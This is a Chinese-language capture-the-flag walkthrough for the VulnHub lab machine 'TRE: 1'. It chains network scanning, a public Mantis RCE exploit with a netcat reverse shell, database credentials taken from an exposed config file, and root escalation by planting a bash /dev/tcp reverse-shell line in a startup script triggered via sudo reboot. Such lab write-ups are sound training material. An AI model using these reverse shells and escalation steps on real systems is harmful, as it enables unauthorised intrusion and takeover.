一、前言
主要利用方式:信息收集发现敏感信息(目录及mysql的账号密码)
mantis 平台的RCE(远程代码执行漏洞)
进入数据库后获取密码+SUID提权
二、靶机信息
靶场: vulnhub.com
靶机名称: TRE: 1
难度: 简单
发布时间: 2020 年 3月 13日
下载地址:https://www.vulnhub.com/entry/tre-1,483/
备注:password不是真正的密码!
三、虚拟机配置
Vmware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 192.168.169.168
└─$ sudo nmap -p22,80 -sV -A 192.168.169.168
3、80端口web服务访问及路径扫描
http://192.168.169.168/
└─$ dirsearch -u 192.168.169.168
http://192.168.169.168/info.php
http://192.168.169.168/cms/site/
http://192.168.169.168/adminer.php
http://192.168.169.168/system/
输入admin/admin后面跳转到login_page.php
http://192.168.169.168/system/login_page.php
4、搜寻mantis服务的安全漏洞,发现有个RCE(本地命令执行)
└─$ searchsploit Mantis
└─$ searchsploit -m php/webapps/48818.py
五、漏洞利用(突破边界)
5、尝试利用mantis 的RCE漏洞
更改py脚本的rhost ,lhost,mantisloc ,加入验证头部,然后执行
6、在执行py脚本时候,提前开启监听,执行完脚本,nc反弹shell,突破边界
└─$ nc -lnvp 9999
但cd到home目录后,依然获取不到边界用户的flag
7.进阶目录爆破,大量信息收集
└─$ dirsearch -u http://192.168.169.168/system/ --header="Authorization:Basic YWRtaW46YWRtaW4="
8、访问config目录,发现有一个a.txt ,并且包含了数据库的账号密码
http://192.168.169.168/system/config/
--- Database Configuration ---
$g_hostname = 'localhost';
$g_db_username = 'mantissuser';
$g_db_password = 'password@123AS';
$g_database_name = 'mantis';
$g_db_type = 'mysqli';
9、将密码填入之前路径扫描的数据库链接页面里面,点击登录,成果进入
10、查询user表,并且查看账号密码等,
(username:tre/realname:Tr3@123456A!/password:64c4685f8da5c2225de7890c1bad0d7f)
11、破解密码,22登录,
将64c4685f8da5c2225de7890c1bad0d7f 放入MD5未解开,但realname好像密码,尝试
查看用户权限,进入home目录
六、提权
12.shell语法,查找suid权限
tre@tre:/home$ find / -user root -type f -perm -o=rw -ls 2>/dev/null | grep -v "/proc"
Sudo -l 任意用户可以执行重启命令
13、查看check-system启动时命令
启动的程序由systemd ,系统和服务管理器控制。 systemd是启动时运行的第一个进程。 它始终具有进程ID (PID)1。计算机中正在运行的所有其他进程都是由systemd启动的,或者由systemd已经启动的进程启动。结合上面的sudo权限,猜测可能与开机的启动有关
tre@tre:/home$ cat /usr/bin/check-system
14、更改启动命令,开启监听,重启服务
bash -i >& /dev/tcp/192.168.169.129/8888 0>&1
开启8888端口监听
重启服务
tre@tre:/home$ sudo shutdown -r
15、机器重启,nc反弹shell,查看权限,获取flag
root@tre:/# id
root@tre:/# cd /root
root@tre:/root# cat root.txt
{SunCSR_Tr3_Viet_Nam_2020}
7
1
7
7
1
1